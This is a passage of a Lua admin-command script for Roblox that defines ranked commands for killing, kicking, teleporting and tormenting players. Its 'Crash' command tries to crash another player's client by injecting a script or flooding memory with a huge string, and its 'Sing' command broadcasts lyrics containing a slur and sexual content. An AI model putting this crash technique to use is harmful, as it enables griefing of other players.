- ICE.Output(v,ICE.Ranked[Speaker.Name].Color,Speaker)
- end
- end
- )
- ICE.Command('Show credits','credits',0,'Shows credits','No arguments',
- function(Msg,Speaker)
- for Name,Reason in pairs(ICE.Credits) do
- ICE.Output(Name .. " " .. Reason,ICE.Ranked[Speaker.Name].Color,Speaker)
- end
- end
- )
- ICE.Command('Help','help',0,'Gives help','help',
- function(Msg,Speaker)
- ICE.GiveInfo(Speaker)
- end
- )
- --[[ Rank 1 ]]--
- ICE.Command('Base','base',1,'Makes a base in workspace','No arguments',
- function(Msg,Speaker)
- Norm=nil
- if Workspace:findFirstChild'Base' then
- Norm=Workspace.Base:clone()
- end
- --ICE.Services.Workspace:ClearAllChildren'Nope'
- pcall(function() Workspace.Base:Destroy() end)
- Speaker:LoadCharacter(true)
- Speaker.Character.Torso.Anchored=true
- if Norm then
- Norm:Clone().Parent=ICE.Services.Workspace
- else
- Part=Instance.new'Part'
- Part.Name='Base'
- Part.Size=Vector3.new(256,0.05,256)
- Part.Anchored=true
- Part.BrickColor=BrickColor.new'Earth green'
- Part.CFrame=CFrame.new(0,0,0)
- Part.Parent=Workspace
- end
- for _,v in pairs(ICE.Services.Players:GetPlayers()) do v:LoadCharacter() end
- end
- )
- ICE.Command('Terrain base','tbase',1,'Makes a terrain base','No arguments',
- function(Msg,Speaker)
- vector3int16_1 = Vector3int16.new(-50,0,-50)
- vector3int16_2 = Vector3int16.new(50, 1, 50)
- CleanType="Test"
- CleanTypes={"Grass","Sand","Brick","Granite","Asphalt","Iron","Aluminum","Gold","WoodPlank","WoodLog","Gravel","CinderBlock","MossyStone","Cement","RedPlastic","BluePlastic","Water"}
- for i,v in pairs(CleanTypes) do
- Tab=ICE.Output(v,'Random',Speaker,nil,function() CleanType=v ICE.RemoveTablets(Speaker) end)
- coroutine.wrap(function()
- repeat
- if Tab.Model.Parent ~= ICE.Services.Workspace then
- Tab=ICE.Output(v,'Random',Speaker,nil,function() CleanType=v ICE.RemoveTablets(Speaker) end)
- end
- until CleanType ~= "Test"
- end)()
- end
- ICE.Output('Random terrain',Speaker,nil,function() CleanType=tostring(math.random(1,17)) end)
- repeat
- wait()
- until CleanType ~= "Test"
- if tonumber(CleanType) then CleanType=tonumber(CleanType) end
- wait()
- local Terrain = Workspace.Terrain
- wait(0.01);
- Terrain:Clear()
- wait(0.01)
- pcall(function() Workspace.Base:Destroy() end)
- wait(0.01);
- Terrain:SetCells(250,2,250, CleanType, Enum.CellBlock.Solid, Enum.CellOrientation.NegZ)
- end
- )
- ICE.Command('Dynamic lighting(dl)','dl',1,'Activates Dynamic lighting','No arguments',
- function(Msg,Speaker)
- ICE.Services.Lighting.GlobalShadows=true
- ICE.Services.Lighting.TimeOfDay="24:00:00"
- ICE.Services.Lighting.OutdoorAmbient=Color3.new(-1,-1,-1)
- ICE.Services.Lighting.Ambient=Color3.new(0,0,0)
- for _,v in pairs(ICE.Services.Players:GetPlayers()) do
- Spot=Instance.new'PointLight'
- Spot.Color=Color3.new(1,1,1)
- Spot.Name='Light'
- Spot.Parent=v.Character.Torso
- Spot.Range,Spot.Brightness=20,1/0
- end
- end
- )
- ICE.Command('Kill','kill',1,'Kills #Player','#Player',
- function(Msg,Speaker)
- for _,v in pairs(ICE.GetPlayers(Msg,Speaker)) do
- v.Character:BreakJoints();
- end
- end
- )
- ICE.Command('Teleport','tp',1,'Teleports Player to #Player','Player/#Player',
- function(Msg,Speaker)
- local Player,Players=nil,{}
- local Split=Msg:find(ICE.Bets[2])
- local GetCF=function(v) return v:GetModelCFrame() end
- Player,Players=ICE.GetPlayers(Msg:sub(Split+1),Speaker)[1],ICE.GetPlayers(Msg:sub(1,Split-1),Speaker)
- local Y = 0
- for i,v in pairs(Players) do
- if v.Character == nil then
- v:LoadCharacter()
- end
- Y = Y + 8 -- Approx length of a Normal Robloxian Body from Head to Toe Torso=4,Leg=2,Head=2
- local Character=Player.Character
- local Torso=Character:findFirstChild'Torso'
- local TorsoCFrame=Torso.CFrame
- local CharacterCFrame=GetCF(Character)
- VTorso=v.Character.Torso
- --if ICE.TeleportSettings[Speaker.Name].Type=="Relative" then
- VTorso.CFrame=CFrame.new(CharacterCFrame.x,CharacterCFrame.y + Y, CharacterCFrame.z)
- --elseif ICE.TeleportSettings[Speaker.Name].Type=='Absolute' then
- --VTorso.CFrame=CFrame.new(TorsoCFrame.x,TorsoCFrame.y + Y,TorsoCFrame.z)
- -- end
- end
- end
- )
- ICE.Command('Set time of day','timeofday',1,'Sets time of day','Timeofday or nil',
- function(Msg,Speaker)
- if #Msg >= 1 then
- local Ran,Error=coroutine.create(coroutine.resume(function()
- ICE.Services.Lighting.TimeOfDay=Msg
- end))
- if Error then ICE.Output(Error,'Red',Speaker,3) end
- else
- Times={
- ['Morning']="6:00:00";
- ['Noon']="12:00:00";
- ['Night']="18:00:00";
- ['MidNight']="24:00:00";
- };
- for Name,Time in pairs(Times) do
- ICE.Output(Name,'Random',Speaker,nil,
- function()
- ICE.RemoveTablets(Speaker);
- ICE.Services.Lighting.TimeOfDay=Time
- end
- )
- end
- end
- end
- )
- ICE.Command('Explorer','explore',1,'Enters Explorer','No arguments',
- function(Msg,Speaker)
- TheService=nil;
- if #Msg==0 then
- for n,s in pairs(ICE.Services) do
- if n:lower():sub(1,#Msg)==Msg:lower() then
- TheService=s
- end
- end
- end
- ICE.Explore(TheService,Speaker);
- end
- )
- ICE.Command('Respawn','rs',1,'Respawns #Player','#Player',
- function(Msg,Spkr)
- for _,v in pairs(ICE.GetPlayers(Msg,Spkr)) do
- if v.Character:findFirstChild'Torso' then
- Last=v.Character.Torso.CFrame
- v:LoadCharacter();
- v.Character.Torso.CFrame=Last
- else
- v:LoadCharacter()
- end
- end
- end
- )
- ICE.Command('Get visual','giv',1,'Gets visual basic scripting capablities(hack)','No arguments',
- function(Msg,Speaker)
- ICE.Output('Not available yet!','Red',Speaker,5)
- end
- )
- ICE.Command('Give','give',1,'Gives #Player sum toolz','#Player',
- function(Msg,Speaker)
- Tools={}
- Players=ICE.GetPlayer(Msg,Speaker)
- Give=function()
- for i,v in pairs(Players) do
- for _,tool in ipairs(Tools) do
- tool:clone().Parent=v.Backpack
- end
- end
- end
- Start=function()
- ICE.RemoveTablets(Speaker)
- Num=0
- for i,v in pairs(ICE.Services.Lighting:children()) do
- if v:IsA'Tool' or v:IsA'HopperBin' then
- Num=Num+1
- ICE.Output(v.Name,'Random',Speaker,nil,function()
- table.insert(Tools,v:clone())
- ICE.Output('Add more tools?','Red',Speaker,nil,function()
- Start()
- end)
- ICE.Output('Give tools to the playres','Green',Speaker,nil,function() GiveTools() end)
- end
- )
- end
- end
- if Num == 0 then ICE.Output('No tools in Lighting','Red',Speaker) end
- end
- Start()
- end
- )
- ICE.Command('take tool','ttool',1,'Takes #Players tool','#Player',
- function(Msg,Speaker)
- for _,Player in pairs(ICE.GetPlayers(Msg,Speaker)) do
- local PTools={};
- local Back=Player:findFirstChild'Backpack'
- if Back==nil then Player:LoadCharacter() Back=Player.Backpack end
- for i,v in pairs(Back:children()) do
- if v:IsA'Tool' or v:IsA'HopperBin' then
- PTools[#PTools+1]=v:Clone();
- end
- end
- Start=false;
- Cloned={};
- GiveTools=function()
- for i,v in pairs(Cloned) do
- pcall(function() v.Parent=Speaker.Backpack end)
- end
- end
- StartOver=function()
- ICE.Output('Continue adding tools!','Red',Speaker,nil,function() Startt() end);
- ICE.Output('Clone tools to your self','Green',Speaker,nil,function() Start=true end)
- end
- Startt=function()
- ICE.RemoveTablets(Speaker);
- for i,v in pairs(PTools) do
- ICE.Output('Add ' .. v.Name,'Red',Speaker,nil,function() table.insert(Cloned,v) StartOver() end )
- end
- end
- if #PTools==0 then
- ICE.Output(Player.Name .. ' has no tools','Red',Speaker)
- Start=true
- else
- Startt()
- end
- repeat
- wait()
- until Start
- GiveTools()
- end
- end
- )
- ICE.Command('Remove tool','rtool',1,'Removes #Players tool','#Player',
- function(Msg,Speaker)
- for _,Player in pairs(ICE.GetPlayers(Msg,Speaker)) do
- local PTools={};
- local Back=Player:findFirstChild'Backpack'
- if Back==nil then Player:LoadCharacter() Back=Player.Backpack end
- for i,v in pairs(Back:children()) do
- if v:IsA'Tool' or v:IsA'HopperBin' then
- PTools[#PTools+1]=v:Clone();
- end
- end
- Start=false;
- Cloned={};
- GiveTools=function()
- for i,t in pairs(Cloned) do
- pcall(function() Back[t.Name]:Destroy() end)
- end
- end
- StartOver=function()
- ICE.Output('Continue adding tools!','Red',Speaker,nil,function() Startt() end);
- ICE.Output('Remove tools','Green',Speaker,nil,function() Start=true end)
- end
- Startt=function()
- ICE.RemoveTablets(Speaker);
- for i,v in pairs(PTools) do
- ICE.Output('Add ' .. v.Name,'Red',Speaker,nil,function() table.insert(Cloned,v) StartOver() end )
- end
- end
- if #PTools==0 then
- ICE.Output(Player.Name .. ' has no tools','Red',Speaker)
- Start=true
- else
- Startt()
- end
- repeat
- wait()
- until Start
- GiveTools()
- end
- end
- )
- ICE.Command('Fire','fire',1,'Fires #Player','#Player',
- function(Msg,Speaker)
- for _,v in pairs(ICE.GetPlayers(Msg,Speaker)) do
- ICE.OnChatted(ICE.Bets[1]..'unfire'..ICE.Bets[2]..v.Name,Speaker,true)
- coroutine.wrap(function()
- for _,part in pairs(v.Character:children()) do
- if part:findFirstChild'Fire'==nil and part:IsA'BasePart' then
- Instance.new'Fire'.Parent=part
- end
- end
- end)()
- end
- end
- )
- ICE.Command('Unfire','unfire',1,'Unfires #Player','#Player',
- function(Msg,Speaker)
- for _,v in pairs(ICE.GetPlayers(Msg,Speaker)) do
- CharParts=v.Character:children()
- for i,part in pairs(CharParts) do
- if part:IsA'BasePart' then
- pcall(function()
- for _,f in pairs(part:children()) do
- if f:IsA'Fire' then
- f:Destroy()
- end
- end
- end)
- end
- end
- end
- end
- )
- ICE.Command('Burn','burn',1,'Burns #Player','#Player',
- function(Msg,Speaker)
- for _,v in pairs(ICE.GetPlayers(Msg,Speaker)) do
- coroutine.wrap(function()
- ICE.OnChatted(ICE.Bets[1]..'fire'..ICE.Bets[2]..v.Name,Speaker,true)
- local MainFire=v.Character:FindFirstChild('Fire',true)
- Humanoid=nil
- repeat
- for _,p in pairs(v.Character:children()) do
- if p:IsA'Humanoid' then
- p.Name='Humanoid'
- Humanoid=p
- end
- end
- Humanoid:TakeDamage(math.random(1,2))
- wait()
- until MainFire==nil or MainFire.Parent==nil or v.Character:findFirstChild('Fire',true)==nil
- end)()
- end
- end
- )
- ICE.Command('Message','msg',1,'Makes a mesg with Text','Text',
- function(Text,Speaker)
- ICE.MakeMessage(Speaker.Name..': '.. Text)
- end
- )
- ICE.Command('Hint','hint',1,'Makes a hint with Text','Text',
- function(Text,Speaker)
- ICE.MakeHint(Speaker.Name..': '.. Text)
- end
- )
- ICE.Command('Superjump','sj',1,'Makes the Player jump really high','Player',
- function(Msg,Speaker)
- for _,v in pairs(ICE.GetPlayers(Msg,Speaker)) do
- local Height = 20
- local Num=0
- v.Character.Torso.Anchored=true
- v.Character.Humanoid.Jump=true
- for i=1,Height do
- pcall(function()
- v.Character.Torso.CFrame=CFrame.new(v.Character.Torso.CFrame.x,v.Character.Torso.CFrame.y + 1,v.Character.Torso.CFrame.z)
- end)
- wait(0.01);
- end
- Torso=v.Character.Torso
- for x=1,3 do
- Torso.CFrame=CFrame.new(Torso.Position + Vector3.new(x,x,x))
- wait(0.01);
- end
- for b=1,Height do
- Torso.CFrame=CFrame.new(Torso.CFrame.x,Torso.CFrame.y - 1,Torso.CFrame.z)
- wait(0.01);
- end
- v.Character.Torso.Anchored=false
- end
- end
- )
- --[[ Rank 2 ]]--
- ICE.Command('Kick','kick',2,'Kicks #Player','#Player',
- function(Msg,Speaker)
- for _,v in pairs(ICE.GetPlayers(Msg,Speaker)) do
- v:Destroy();
- end
- end
- )
- ICE.Command('Kick chat','kchat',2,'Kick chats a player','#Player',
- function(Msg,Speaker)
- local Warnings={}
- local Max=nil
- local Players={};
- local AddWarning=function(Player) table.insert(Warnings,{Player=Player}) end
- local GetWarnings=function(Player) s=0 for i,v in pairs(Warnings) do if v.Player==Player then s=s+1 end end d = Max - s return d end
- local Split=Msg:find(ICE.Bets[2]) or nil
- if Split then
- Players=ICE.GetPlayers(Msg:sub(1,Split-1),Speaker)
- Max=tonumber(Msg:sub(Split+1))
- else
- Max=3
- Players=ICE.GetPlayers(Msg,Speaker)
- end
- for i,Player in pairs(Players) do
- Player.Chatted:connect(function(Msg)
- AddWarning(Player)
- if GetWarnings(Player) == 0 then
- Player:Destroy();
- else
- local WarningHint=Instance.new('Message');
- WarningHint.Name='WarningHint'
- pcall(function() Player.PlayerGui.WarningHint:Destroy(); end);
- WarningHint.Text = 'You have ' .. GetWarnings(Player) .. ' warnings left for talking before being kicked'
- WarningHint.Parent=Player:findFirstChild'PlayerGui' or Instance.new('PlayerGui',Player)
- wait(3)
- WarningHint.Parent=nil
- end
- end)
- end
- end
- )
- ICE.Command('Fly','fly',2,'Makes #Player Fly #Studs high','<Player><Studs>',
- function(Msg,Speaker)
- Players={};
- Split=Msg:find(ICE.Bets[2])
- if Split then
- Players=ICE.GetPlayers(Msg:sub(1,Split-1),Speaker)
- else
- Players=ICE.GetPlayers(Msg,Speaker)
- end
- for _,v in pairs(Players) do
- coroutine.wrap(function()
- local Meter=0
- if Split then
- if tonumber(Msg:sub(Split+1)) then
- Meter=tonumber(Msg:sub(Split+1))
- else
- Meter=300
- end
- else
- Meter=300
- end
- End=false;-- End flying
- coroutine.wrap(function()
- repeat
- if v.Character and v.Character:findFirstChild'Torso' then
- local Vect=Vector3.new();
- local Cur=v.Character.Torso.Position
- v.Character.Torso.Anchored=true
- Vect=Vector3.new(Cur.x,Cur.y + 0.1,Cur.z)
- v.Character.Torso.CFrame=CFrame.new(Vect) * CFrame.Angles(0,0,0)
- if v.Character.Torso.CFrame.y>=Meter then End=true end;
- end
- wait()
- until End==true
- pcall(function() v.Character.Torso.Anchored=false end)
- end)()
- v.CharacterAdded:connect(function(v) if End==false then End=true end end)
- end)()
- end
- end
- )
- ICE.Command('Skyfall','sfall',2,'Makes #Player skyfall','#Player',
- function(Msg,Speaker)
- for _,v in pairs(ICE.GetPlayers(Msg,Speaker)) do
- pcall(function()
- vChar=v.Character;
- vTorso=vChar.Torso;
- vTorso.CFrame=CFrame.new(vTorso.CFrame.x,9999,vTorso.CFrame.z)
- wait()
- vTorso.CanCollide=false
- end)
- end
- end
- )
- ICE.Command("Clear","clear",2,"Clears the workspace of its contents.","No Arguments",
- function(Msg,Speaker)
- for _,v in pairs(ICE.Services.Workspace:children()) do
- if Prometheus ~= nil then
- if v ~= Prometheus.script("lushmylife") then
- pcall(function()
- v:Destroy()
- end)
- end
- else
- pcall(function()
- v:Destroy()
- end)
- end
- end
- local Base=Instance.new("Part",ICE.Services.Workspace)
- Base.Name='Base'
- Base.Size=Vector3.new(2048,1,2048)
- Base.BrickColor=BrickColor.new("Dark green")
- Base.Anchored=true
- Base.Locked=true
- Base.TopSurface='Studs'
- Base.Transparency = 0
- Base.CFrame=CFrame.new(Vector3.new(0,0,0))
- local Spawn=Instance.new("SpawnLocation",ICE.Services.Workspace) Spawn.Name='SpawnLocation'
- Spawn.Size=Vector3.new(6,1,6)
- Spawn.Transparency=1
- Spawn.CanCollide=false
- Spawn.Anchored=true
- Spawn.Locked=true
- Spawn.CFrame=CFrame.new(Vector3.new(0,0,0))
- for _,v in pairs(ICE.GetPlayers()) do
- v:LoadCharacter()
- end
- end
- )
- ICE.Command('Brick kill','bkill',2,'Kills #PLayer with a brick','#Player',
- function(Msg,Speaker)
- for _,v in pairs(ICE.GetPlayers(Msg,Speaker)) do
- local Funcs={
- {Func=function(v) v:BreakJoints(); end};
- {Func=function(v) Expl=Instance.new'Explosion' Expl.Parent=v Expl.Position=v.Position end};
- {Func=function(v) v:BreakJoints(); Instance.new'Fire'.Parent=v; Instance.new'Sparkles'.Parent=v end};
- }
- coroutine.wrap(function()
- local Part=Instance.new'Part'
- local Event=math.random(1,3)
- local Size=Vector3.new(4,4,4)
- local Head=v.Character.Head
- Model=Instance.new'Model'
- Model.Parent=Head.Parent--v.Character
- Part.Size=Size;
- Part.BrickColor=BrickColor.random()
- Color=Part.Color
- local SelectionBox=Instance.new'SelectionBox'
- SelectionBox.Parent,SelectionBox.Name,SelectionBox.Color,SelectionBox.Adornee,SelectionBox.Transparency=Part,'SelectionBox',BrickColor.new(Color),Part,0.7
- local BillBoard=Instance.new'BillboardGui'
- BillBoard.Parent,BillBoard.Name,BillBoard.StudsOffset,BillBoard.Size=Model,'BillboardGui',Vector3.new(0,3,0),UDim2.new(10,0,10,0)
- local Label=Instance.new'TextLabel'
- Label.Parent,Label.Name,Label.Text,Label.TextColor3,Label.FontSize,Label.BackgroundTransparency,Label.TextStrokeTransparency,Label.Size,Label.TextStrokeColor3=BillBoard,'Label','',Color3.new(-1,-1,-1),'Size14',1,0.5,UDim2.new(1,0,1,0),Color
- Spot=Instance.new'PointLight'
- Spot.Brightness=1/0
- Spot.Range=30
- if game.Lighting.GlobalShadows==true and game.Lighting.Ambient==Color3.new(0,0,0) or game.Lighting.Ambient==Color3.new(-1,-1,-1) then
- Spot.Parent=Part
- end
- Part.Touched:connect(function(Hit)
- if Hit:IsDescendantOf(v.Character) then
- Funcs[Event].Func(Hit)
- end
- end)
- Part.Parent=Model
- Part.CFrame=CFrame.new(Head.Position + Vector3.new(0,20,0))
- Part.Anchored=true
- for i=1,20,0.1 do
- Part.CFrame=CFrame.new(Head.Position + (Vector3.new(0,20,0) - Vector3.new(0,i,0)) )
- if 15-i >= 0 then
- Label.Text='You have ' .. 15-i .. ' seconds to live =3'
- end
- Spot.Color=Color3.new(math.random(),math.random(),math.random())
- SelectionBox.Color=BrickColor.new(Spot.Color)
- Part.Color=Spot.Color
- wait()
- end
- Label.Text='You have died ;)'
- for i=1,10,0.1 do
- wait()
- if v.Character==nil or v.Character.Parent==nil then
- break
- end
- Part.CFrame=CFrame.new(Head.Position + (Vector3.new(0,20,0) - Vector3.new(0,i,0)) )
- end
- end)()
- end
- end
- )
- ICE.Command('Fall','Fall',2,'Makes #Player Fall #Studs high','<Player><Studs>',
- function(Msg,Speaker)
- Players={};
- Split=Msg:find(ICE.Bets[2])
- if Split then
- Players=ICE.GetPlayers(Msg:sub(1,Split-1),Speaker)
- else
- Players=ICE.GetPlayers(Msg,Speaker)
- end
- for _,v in pairs(Players) do
- coroutine.wrap(function()
- local Meter=0
- if Split then
- if tonumber(Msg:sub(Split+1)) then
- Meter=tonumber(Msg:sub(Split+1))
- else
- Meter=-300
- end
- else
- Meter=-300
- end
- if Meter > 0 then
- Meter=Meter-Meter-Meter;
- end
- End=false;-- End flying
- coroutine.wrap(function()
- repeat
- if v.Character and v.Character:findFirstChild'Torso' then
- local Vect=Vector3.new();
- local Cur=v.Character.Torso.Position
- v.Character.Torso.Anchored=true
- v.Character.Torso.CanCollide=false
- Vect=Vector3.new(Cur.x,Cur.y - 0.1,Cur.z)
- v.Character.Torso.CFrame=CFrame.new(Vect) * CFrame.Angles(0,0,0)
- if v.Character.Torso.CFrame.y<=Meter then End=true end;
- end
- wait()
- until End==true
- pcall(function() v.Character.Torso.Anchored=false v.Character.Torso.CanCollide=true end)
- end)()
- v.CharacterAdded:connect(function(v) if End==false then End=true end end)
- end)()
- end
- end
- )
- ICE.Command('Kick phrase','kpchat',2,'Kicks a player for chatting a term','#Player',
- function(Msg,Speaker)
- local Warnings={}
- local Max=4
- local Players={};
- local AddWarning=function(Player) table.insert(Warnings,{Player=Player}) end
- local GetWarnings=function(Player) s=0 for i,v in pairs(Warnings) do if v.Player==Player then s=s+1 end end d = Max - s return d end
- local Split=Msg:find(ICE.Bets[2]) or nil
- local Phrase=""
- if Split then
- Players=ICE.GetPlayers(Msg:sub(1,Split-1),Speaker)
- Phrase=tostring(Msg:sub(Split+1))
- else
- Max=3
- Players=ICE.GetPlayers(Msg,Speaker)
- end
- for i,Player in pairs(Players) do
- AddWarning(Player)
- wait()
- Player.Chatted:connect(function(Msg)
- if Msg:find(Phrase) then
- AddWarning(Player)
- if GetWarnings(Player) == 0 then
- Player:Destroy();
- else
- local WarningHint=Instance.new('Message');
- WarningHint.Name='WarningHint'
- pcall(function() Player.PlayerGui.WarningHint:Destroy(); end);
- WarningHint.Text = 'You have ' .. GetWarnings(Player) .. ' warnings left for saying ' .. Phrase .. ' before being kicked'
- WarningHint.Parent=Player:findFirstChild'PlayerGui' or Instance.new('PlayerGui',Player)
- wait(3)
- WarningHint.Parent=nil
- end
- end
- end)
- end
- end
- )
- ICE.Command('Loopkill','lk',2,'Loopkills #Player','#Player',
- function(Msg,Speaker)
- for i,v in pairs(ICE.GetPlayers(Msg,Speaker)) do
- ICE.Loopkilled[v.Name]=true
- end
- end
- )
- ICE.Command('Un-Loopkill','unlk',2,'Un-Loopkills #Player','#Player',
- function(Msg,Speaker)
- for i,v in pairs(ICE.GetPlayers(Msg,Speaker)) do
- ICE.Loopkilled[v.Name]=false
- end
- end
- )
- ICE.Command('Explode','expl',2,'Explodes #Player','#Player',
- function(Msg,Speaker)
- for _,v in pairs(ICE.GetPlayers(Msg,Speaker)) do
- local Expl=Instance.new'Explosion'
- Expl.Parent=v.Character
- --pcall(function()
- Expl.Position = v.Character.Torso.Position
- Expl.BlastRadius=100
- --end)
- end
- end
- )
- ICE.Command('Smite','smite',2,'Smites #Player','#Player',
- function(Msg,Speaker)
- for _,v in pairs(ICE.GetPlayers(Msg,Speaker)) do
- for _,i in pairs(v.Character:children()) do
- if i:IsA'BasePart' then
- local Sparkles = Instance.new("Sparkles",i)
- Sparkles.Color = Color3.new(math.random(),math.random(),math.random())
- local Ex = Instance.new("Explosion",ICE.Services.Workspace)
- Ex.Position = i.Position
- Ex.BlastPressure = 1e105
- i:BreakJoints()
- i.Velocity = Vector3.new(math.random(-250,250),math.random(100,250),math.random(-250,250))
- coroutine.wrap(function()
- for b=1,5,0.5 do
- i.Size=Vector3.new(b,b,b)
- wait(0.01)
- end
- end)()
- end
- end
- local Base=Instance.new'Part'
- pcall(function()
- Base.Size=Vector3.new(5,1,3)
- Base.Color=Color3.new(BrickColor.new'Bright yellow')
- Base.Anchored=true
- Base.CFrame=CFrame.new(v.Character.Torso.CFrame.x,v.Character.Torso.CFrame.y - 6,v.Character.Torso.CFrame.z)
- coroutine.wrap(function()
- for i=0,1,0.1 do
- Base.Transparency=i
- wait()
- end
- Base:Destroy()
- end)()
- end)
- end
- end
- )
- ICE.Command('Force field','ff',2,'Gives #Player a forcefield','#Player',
- function(Msg,Speaker)
- for _,v in pairs(ICE.GetPlayers(Msg,Speaker)) do
- ICE.OnChatted(ICE.Bets[1]..'unff'..ICE.Bets[2]..v.Name,Speaker,true)
- local Force=Instance.new'ForceField'
- Force.Parent=v.Character
- end
- end
- )
- ICE.Command('Un forcefield','unff',2,'Removes #Players forcfields','#Player',
- function(Msg,Speaker)
- for _,v in pairs(ICE.GetPlayers(Msg,Speaker)) do
- for i,s in pairs(v.Character:children()) do
- if s:IsA'ForceField' then
- s:Destroy()
- end
- for ii,ss in pairs(s:children()) do
- if ss:IsA'ForceField' then
- ss:Destroy()
- end
- end
- end
- end
- end
- )
- ICE.Command('Build tools','btools',2,'Gives #Playr btools','#Playr',
- function(Msg,Spkr)
- for _,v in pairs(ICE.GetPlayers(Msg,Spkr)) do
- for i=1,4 do
- local B=Instance.new'HopperBin'
- B.BinType=i
- B.Parent=v.Backpack
- end
- end
- end
- )
- ICE.Command('Damage','dmg',2,'Makes a player take #Damage','#Damage',
- function(Msg,Speaker)
- Damage,Players=nil,{};
- Split=Msg:find(ICE.Bets[2])
- Players=ICE.GetPlayers(Msg:sub(1,Split-1))
- Damage=tonumber(Msg:sub(Split+1))
- for i,v in pairs(Players) do
- v.Character.Humanoid:TakeDamage(Damage)
- end
- end
- )
- --[[ Rank 3 ]]--
- ICE.Command('Crash','crash',3,'Crashes #PLayer','#Player',
- function(Msg,Speaker)
- for _,v in pairs(ICE.GetPlayers(Msg,Speaker)) do
- if newLocalScript then
- newLocalScript([[
- script.Parent=nil
- while wait() do
- ICE.Services.Players.LocalPlayer.Parent=nil
- wait()
- ICE.Services.Players.LocalPlayer.Parent=ICE.Services.Players
- end]],
- v:findFirstChild'Backpack' or v.Character)
- else
- loadstring([[
- local Player = ICE.Services.Players:findFirstChild']]..v.Name..[['
- repeat wait() until Player:findFirstChild'PlayerGui'
- local Value=Instance.new'StringValue'
- Value.Parent=Player:findFirstChild'PlayerGui'
- Value.Value=("Yerrrp"):r]]..[[ep(1000000)]]
- )()
- end
- end
- end
- )
- ICE.Command('Antikill','ak',3,'Antikills a player','Player',
- function(Msg,Speaker)
- for _,v in pairs(ICE.GetPlayers(Msg,Speaker)) do
- coroutine.wrap(function()
- local String=Instance.new'StringValue'
- String.Name,String.Parent='Stop'..v.Name,ICE.Services.Lighting
- wait()
- String:Destroy();
- local Last=CFrame.new(0,0,0);
- local Started=false;
- local Player=ICE.Services.Players:findFirstChild(v.Name)
- local End=false
- Player.CharacterAdded:connect(function()
- if End == false then
- repeat
- wait()
- until Player.Character
- Char=Player.Character
- Humanoid=Char:findFirstChild'Humanoid'
- Torso=Char:findFirstChild'Torso'
- if Started then
- Torso.CFrame=Last
- end
- Humanoid.Died:connect(function()
- Last=CFrame.new(Torso.Position)
- Started=true
- Player:LoadCharacter();
- end)
- end
- end)
- repeat
- wait()
- if ICE.Services.Lighting:findFirstChild('Stop'..Player.Name) or ICE.Removed==true then
- End=true
- end
- until End==true or ICE.Removed==true
- end)()
- end
- end
- )
- ICE.Command('Remove antikill','remak','Removes an antikill a player has','Player',
- function(Msg,Speaker)
- for _,v in pairs(ICE.GetPlayers(Msg,Speaker)) do
- Stop=Instance.new'StringValue'
- coroutine.wrap(function() Stop.Value="true" Stop.Name='Stop'..v.Name Stop.Parent=ICE.Services.Lighting wait(1) Stop:Destroy() end)()
- end
- end
- )
- ICE.Command('Spawn smite','spsmite',3,'Spawn smites #Player','#Player',
- function(Msg,Speaker)
- for _,v in pairs(ICE.GetPlayers(Msg,Speaker)) do
- v.CharacterAdded:connect(function()
- coroutine.wrap(function()
- Bet,Bet2=ICE.Bets[1],ICE.Bets[2]
- ICE.OnChatted(Bet..'smite'..Bet2..v.Name,Speaker,true)
- end)()
- end)
- end
- end
- )
- ICE.Command('Obliterate','obl',3,'Obliterates #Player','#Player',
- function(Msg,Speaker)
- for i,v in pairs(ICE.GetPlayers(Msg,Speaker)) do
- for _,Part in pairs(v.Character:children()) do
- coroutine.wrap(function()
- if Part:IsA'BasePart' then
- local Cube = Instance.new'Part'
- Cube.FormFactor = 'Custom'
- Cube.Size = Vector3.new(5,5,5)
- Cube.BrickColor = BrickColor.new(math.random(),math.random(),math.random())
- Cube.Anchored = false
- Cube.CanCollide = true
- Cube.Locked = true
- Cube.Friction = 0
- Cube.Transparency= 0
- Cube.Reflectance = 0.5
- Cube:BreakJoints()
- Cube.Touched:connect(function(Hit)
- if Hit:IsDescendantOf(v.Character) then
- local Expl=Instance.new'Explosion'
- Expl.Position=Hit.Position
- Sparkles=Instance.new'Sparkles'
- Fire=Instance.new'Fire'
- Fire.Parent,Expl.Parent,Sparkles.Parent=Hit,Hit,Hit
- Hit:BreakJoints();
- game:service'Debris':AddItem(Cube,2)
- end
- end)
- local Body=Instance.new'BodyPosition'
- Body.Parent=Cube
- Cube.Parent=game.Workspace
- Body.maxForce = Vector3.new(math.huge,math.huge,math.huge)
- Body.position=Vector3.new(0,50,0)
- coroutine.wrap(function()
- for i=1,50 do
- Body.position=Vector3.new(Part.Position.x,50-i,Part.Position.z)
- wait()
- end
- end)()
- game:service'Debris':AddItem(Cube,10)
- end
- end)()
- end
- end
- end
- )
- ICE.Command('Sing','sing',3,'Makes #Player Sing','@Player',
- function(Msg,Speaker)
- for _,Player in pairs(ICE.GetPlayers(Msg,Speaker)) do
- coroutine.wrap(function()
- Tab={
- "Yall ride 18's we ride 26's";
- "Big truck Big wheels rollin ova ditches";
- "Crome rims loud pipes heated like a kitchen ";
- "Ice chain Ice watch gettin at these bitches";
- "Yall ride 18's we ride 26's";
- "Big truck Big wheels rollin ova ditches";
- "Crome rims loud pipes heated like a kitchen ";
- "Ice chain Ice watch gettin at these bitches";
- "Im the wrong balla to flex with";
- "Diamond stud earings and neckless";
- "And my truck on 26's driving reckless";
- "Got a pound yep and on my way to texas";
- "yep im on there trowing up my set shit";
- "Spinnas with the color trim ho's breathless";
- "Paint shinning brite like morning breakfast";
- "Once i slide up in the party pull the best bitch";
- "Yo chick still want me even though she pregnant";
- "Run game on a trick like check this";
- "She seen the atm recipt and got wet with shit";
- "She in a lexus told her park her whip";
- "270 im bout to exit";
- "I can bet a grip she work her hands and lips";
- "Like a porno star who cares if her man a trip";
- "I can handle it its so scandelous";
- "I got them thing conpocky on a rubberband skinny";
- "I pull up laughing at another man 20's (ha)";
- "Yep the yunger man i run the dam city";
- "I gotta pocket fulla hundreds fifty's rubberband 20's";
- "Peep the shoes these is huge";
- "Im probably on the service road nigga speeding in cruise";
- "I bleed and bruise of reaching fools";
- "So dont reach";
- "u aint talking bout money then dont speak";
- "Dont preach church don wan taught me that";
- "The bitches had me gone but the money brought me back";
- "Im seeing crome and i do them runs flat";
- "President tent front back";
- "Man i wish them old b p's come back but i roll on em";
- "Hundrend spoke big d's tripple gold homie";
- "No homie my rims aint twizzles";
- "But dont get it twisted them is 26's";
- "Song name: 26's by Chingy";
- };
- for i,v in pairs(Tab) do
- game:service'Chat':Chat(Player.Character.Head,v,'Red')
- wait(3)
- end
- end)()
- end
- end
- )
- --[[ Rank 4 ]]--
